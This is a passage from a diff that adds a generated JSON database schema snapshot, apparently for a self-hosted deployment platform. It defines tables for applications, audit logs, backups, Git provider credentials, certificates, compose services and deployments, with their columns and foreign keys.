+ "application_registryId_registry_registryId_fk": {
+ "name": "application_registryId_registry_registryId_fk",
+ "tableFrom": "application",
+ "tableTo": "registry",
+ "columnsFrom": [
+ "registryId"
+ ],
+ "columnsTo": [
+ "registryId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_rollbackRegistryId_registry_registryId_fk": {
+ "name": "application_rollbackRegistryId_registry_registryId_fk",
+ "tableFrom": "application",
+ "tableTo": "registry",
+ "columnsFrom": [
+ "rollbackRegistryId"
+ ],
+ "columnsTo": [
+ "registryId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_environmentId_environment_environmentId_fk": {
+ "name": "application_environmentId_environment_environmentId_fk",
+ "tableFrom": "application",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "application_githubId_github_githubId_fk": {
+ "name": "application_githubId_github_githubId_fk",
+ "tableFrom": "application",
+ "tableTo": "github",
+ "columnsFrom": [
+ "githubId"
+ ],
+ "columnsTo": [
+ "githubId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_gitlabId_gitlab_gitlabId_fk": {
+ "name": "application_gitlabId_gitlab_gitlabId_fk",
+ "tableFrom": "application",
+ "tableTo": "gitlab",
+ "columnsFrom": [
+ "gitlabId"
+ ],
+ "columnsTo": [
+ "gitlabId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_giteaId_gitea_giteaId_fk": {
+ "name": "application_giteaId_gitea_giteaId_fk",
+ "tableFrom": "application",
+ "tableTo": "gitea",
+ "columnsFrom": [
+ "giteaId"
+ ],
+ "columnsTo": [
+ "giteaId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_bitbucketId_bitbucket_bitbucketId_fk": {
+ "name": "application_bitbucketId_bitbucket_bitbucketId_fk",
+ "tableFrom": "application",
+ "tableTo": "bitbucket",
+ "columnsFrom": [
+ "bitbucketId"
+ ],
+ "columnsTo": [
+ "bitbucketId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_serverId_server_serverId_fk": {
+ "name": "application_serverId_server_serverId_fk",
+ "tableFrom": "application",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "application_buildServerId_server_serverId_fk": {
+ "name": "application_buildServerId_server_serverId_fk",
+ "tableFrom": "application",
+ "tableTo": "server",
+ "columnsFrom": [
+ "buildServerId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_buildRegistryId_registry_registryId_fk": {
+ "name": "application_buildRegistryId_registry_registryId_fk",
+ "tableFrom": "application",
+ "tableTo": "registry",
+ "columnsFrom": [
+ "buildRegistryId"
+ ],
+ "columnsTo": [
+ "registryId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "application_appName_unique": {
+ "name": "application_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.audit_log": {
+ "name": "audit_log",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_email": {
+ "name": "user_email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_role": {
+ "name": "user_role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "action": {
+ "name": "action",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resource_type": {
+ "name": "resource_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resource_id": {
+ "name": "resource_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resource_name": {
+ "name": "resource_name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "auditLog_organizationId_idx": {
+ "name": "auditLog_organizationId_idx",
+ "columns": [
+ {
+ "expression": "organization_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "auditLog_userId_idx": {
+ "name": "auditLog_userId_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "auditLog_createdAt_idx": {
+ "name": "auditLog_createdAt_idx",
+ "columns": [
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "audit_log_organization_id_organization_id_fk": {
+ "name": "audit_log_organization_id_organization_id_fk",
+ "tableFrom": "audit_log",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "audit_log_user_id_user_id_fk": {
+ "name": "audit_log_user_id_user_id_fk",
+ "tableFrom": "audit_log",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.backup": {
+ "name": "backup",
+ "schema": "",
+ "columns": {
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "schedule": {
+ "name": "schedule",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "database": {
+ "name": "database",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "prefix": {
+ "name": "prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "destinationId": {
+ "name": "destinationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "keepLatestCount": {
+ "name": "keepLatestCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "includeEncryptionKey": {
+ "name": "includeEncryptionKey",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "backupType": {
+ "name": "backupType",
+ "type": "backupType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'database'"
+ },
+ "databaseType": {
+ "name": "databaseType",
+ "type": "databaseType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "backup_destinationId_destination_destinationId_fk": {
+ "name": "backup_destinationId_destination_destinationId_fk",
+ "tableFrom": "backup",
+ "tableTo": "destination",
+ "columnsFrom": [
+ "destinationId"
+ ],
+ "columnsTo": [
+ "destinationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_composeId_compose_composeId_fk": {
+ "name": "backup_composeId_compose_composeId_fk",
+ "tableFrom": "backup",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_postgresId_postgres_postgresId_fk": {
+ "name": "backup_postgresId_postgres_postgresId_fk",
+ "tableFrom": "backup",
+ "tableTo": "postgres",
+ "columnsFrom": [
+ "postgresId"
+ ],
+ "columnsTo": [
+ "postgresId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_mariadbId_mariadb_mariadbId_fk": {
+ "name": "backup_mariadbId_mariadb_mariadbId_fk",
+ "tableFrom": "backup",
+ "tableTo": "mariadb",
+ "columnsFrom": [
+ "mariadbId"
+ ],
+ "columnsTo": [
+ "mariadbId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_mysqlId_mysql_mysqlId_fk": {
+ "name": "backup_mysqlId_mysql_mysqlId_fk",
+ "tableFrom": "backup",
+ "tableTo": "mysql",
+ "columnsFrom": [
+ "mysqlId"
+ ],
+ "columnsTo": [
+ "mysqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_mongoId_mongo_mongoId_fk": {
+ "name": "backup_mongoId_mongo_mongoId_fk",
+ "tableFrom": "backup",
+ "tableTo": "mongo",
+ "columnsFrom": [
+ "mongoId"
+ ],
+ "columnsTo": [
+ "mongoId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_libsqlId_libsql_libsqlId_fk": {
+ "name": "backup_libsqlId_libsql_libsqlId_fk",
+ "tableFrom": "backup",
+ "tableTo": "libsql",
+ "columnsFrom": [
+ "libsqlId"
+ ],
+ "columnsTo": [
+ "libsqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "backup_userId_user_id_fk": {
+ "name": "backup_userId_user_id_fk",
+ "tableFrom": "backup",
+ "tableTo": "user",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "no action",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "backup_appName_unique": {
+ "name": "backup_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.bitbucket": {
+ "name": "bitbucket",
+ "schema": "",
+ "columns": {
+ "bitbucketId": {
+ "name": "bitbucketId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "bitbucketUsername": {
+ "name": "bitbucketUsername",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketEmail": {
+ "name": "bitbucketEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "appPassword": {
+ "name": "appPassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "apiToken": {
+ "name": "apiToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketWorkspaceName": {
+ "name": "bitbucketWorkspaceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "bitbucket_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "bitbucket_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "bitbucket",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.certificate": {
+ "name": "certificate",
+ "schema": "",
+ "columns": {
+ "certificateId": {
+ "name": "certificateId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "certificateData": {
+ "name": "certificateData",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "privateKey": {
+ "name": "privateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "certificatePath": {
+ "name": "certificatePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "autoRenew": {
+ "name": "autoRenew",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "certificate_organizationId_organization_id_fk": {
+ "name": "certificate_organizationId_organization_id_fk",
+ "tableFrom": "certificate",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "certificate_serverId_server_serverId_fk": {
+ "name": "certificate_serverId_server_serverId_fk",
+ "tableFrom": "certificate",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "certificate_certificatePath_unique": {
+ "name": "certificate_certificatePath_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "certificatePath"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.compose": {
+ "name": "compose",
+ "schema": "",
+ "columns": {
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeFile": {
+ "name": "composeFile",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "refreshToken": {
+ "name": "refreshToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sourceType": {
+ "name": "sourceType",
+ "type": "sourceTypeCompose",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'github'"
+ },
+ "composeType": {
+ "name": "composeType",
+ "type": "composeType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'docker-compose'"
+ },
+ "repository": {
+ "name": "repository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "owner": {
+ "name": "owner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "branch": {
+ "name": "branch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "autoDeploy": {
+ "name": "autoDeploy",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabProjectId": {
+ "name": "gitlabProjectId",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabRepository": {
+ "name": "gitlabRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabOwner": {
+ "name": "gitlabOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabBranch": {
+ "name": "gitlabBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabPathNamespace": {
+ "name": "gitlabPathNamespace",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketRepository": {
+ "name": "bitbucketRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketRepositorySlug": {
+ "name": "bitbucketRepositorySlug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketOwner": {
+ "name": "bitbucketOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketBranch": {
+ "name": "bitbucketBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaRepository": {
+ "name": "giteaRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaOwner": {
+ "name": "giteaOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaBranch": {
+ "name": "giteaBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitUrl": {
+ "name": "customGitUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitBranch": {
+ "name": "customGitBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitSSHKeyId": {
+ "name": "customGitSSHKeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "createEnvFile": {
+ "name": "createEnvFile",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "enableSubmodules": {
+ "name": "enableSubmodules",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "composePath": {
+ "name": "composePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'./docker-compose.yml'"
+ },
+ "suffix": {
+ "name": "suffix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "randomize": {
+ "name": "randomize",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isolatedDeployment": {
+ "name": "isolatedDeployment",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isolatedDeploymentsVolume": {
+ "name": "isolatedDeploymentsVolume",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "triggerType": {
+ "name": "triggerType",
+ "type": "triggerType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'push'"
+ },
+ "composeStatus": {
+ "name": "composeStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "icon": {
+ "name": "icon",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "watchPaths": {
+ "name": "watchPaths",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubId": {
+ "name": "githubId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabId": {
+ "name": "gitlabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketId": {
+ "name": "bitbucketId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaId": {
+ "name": "giteaId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serviceNetworks": {
+ "name": "serviceNetworks",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'[]'::jsonb"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "compose_customGitSSHKeyId_ssh-key_sshKeyId_fk": {
+ "name": "compose_customGitSSHKeyId_ssh-key_sshKeyId_fk",
+ "tableFrom": "compose",
+ "tableTo": "ssh-key",
+ "columnsFrom": [
+ "customGitSSHKeyId"
+ ],
+ "columnsTo": [
+ "sshKeyId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_environmentId_environment_environmentId_fk": {
+ "name": "compose_environmentId_environment_environmentId_fk",
+ "tableFrom": "compose",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "compose_githubId_github_githubId_fk": {
+ "name": "compose_githubId_github_githubId_fk",
+ "tableFrom": "compose",
+ "tableTo": "github",
+ "columnsFrom": [
+ "githubId"
+ ],
+ "columnsTo": [
+ "githubId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_gitlabId_gitlab_gitlabId_fk": {
+ "name": "compose_gitlabId_gitlab_gitlabId_fk",
+ "tableFrom": "compose",
+ "tableTo": "gitlab",
+ "columnsFrom": [
+ "gitlabId"
+ ],
+ "columnsTo": [
+ "gitlabId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_bitbucketId_bitbucket_bitbucketId_fk": {
+ "name": "compose_bitbucketId_bitbucket_bitbucketId_fk",
+ "tableFrom": "compose",
+ "tableTo": "bitbucket",
+ "columnsFrom": [
+ "bitbucketId"
+ ],
+ "columnsTo": [
+ "bitbucketId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_giteaId_gitea_giteaId_fk": {
+ "name": "compose_giteaId_gitea_giteaId_fk",
+ "tableFrom": "compose",
+ "tableTo": "gitea",
+ "columnsFrom": [
+ "giteaId"
+ ],
+ "columnsTo": [
+ "giteaId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "compose_serverId_server_serverId_fk": {
+ "name": "compose_serverId_server_serverId_fk",
+ "tableFrom": "compose",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.deployment": {
+ "name": "deployment",
+ "schema": "",
+ "columns": {
+ "deploymentId": {
+ "name": "deploymentId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "deploymentStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'running'"
+ },
+ "logPath": {
+ "name": "logPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pid": {
+ "name": "pid",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isPreviewDeployment": {
+ "name": "isPreviewDeployment",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "previewDeploymentId": {
+ "name": "previewDeploymentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "startedAt": {
+ "name": "startedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "finishedAt": {
+ "name": "finishedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "errorMessage": {
+ "name": "errorMessage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scheduleId": {
+ "name": "scheduleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackId": {
+ "name": "rollbackId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "volumeBackupId": {
+ "name": "volumeBackupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildServerId": {
+ "name": "buildServerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "deployment_applicationId_application_applicationId_fk": {
+ "name": "deployment_applicationId_application_applicationId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_composeId_compose_composeId_fk": {
+ "name": "deployment_composeId_compose_composeId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_serverId_server_serverId_fk": {
+ "name": "deployment_serverId_server_serverId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_previewDeploymentId_preview_deployments_previewDeploymentId_fk": {
+ "name": "deployment_previewDeploymentId_preview_deployments_previewDeploymentId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "preview_deployments",
+ "columnsFrom": [
+ "previewDeploymentId"
+ ],
+ "columnsTo": [
+ "previewDeploymentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_scheduleId_schedule_scheduleId_fk": {
+ "name": "deployment_scheduleId_schedule_scheduleId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "schedule",
+ "columnsFrom": [
+ "scheduleId"
+ ],
+ "columnsTo": [
+ "scheduleId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_backupId_backup_backupId_fk": {
+ "name": "deployment_backupId_backup_backupId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "backup",
+ "columnsFrom": [
+ "backupId"
+ ],
+ "columnsTo": [
+ "backupId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_rollbackId_rollback_rollbackId_fk": {
+ "name": "deployment_rollbackId_rollback_rollbackId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "rollback",
+ "columnsFrom": [
+ "rollbackId"
+ ],
+ "columnsTo": [
+ "rollbackId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_volumeBackupId_volume_backup_volumeBackupId_fk": {
+ "name": "deployment_volumeBackupId_volume_backup_volumeBackupId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "volume_backup",
+ "columnsFrom": [
+ "volumeBackupId"
+ ],
+ "columnsTo": [
+ "volumeBackupId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "deployment_buildServerId_server_serverId_fk": {
+ "name": "deployment_buildServerId_server_serverId_fk",
+ "tableFrom": "deployment",
+ "tableTo": "server",
+ "columnsFrom": [
+ "buildServerId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.destination": {
+ "name": "destination",
+ "schema": "",
+ "columns": {
+ "destinationId": {
+ "name": "destinationId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "provider": {
+ "name": "provider",
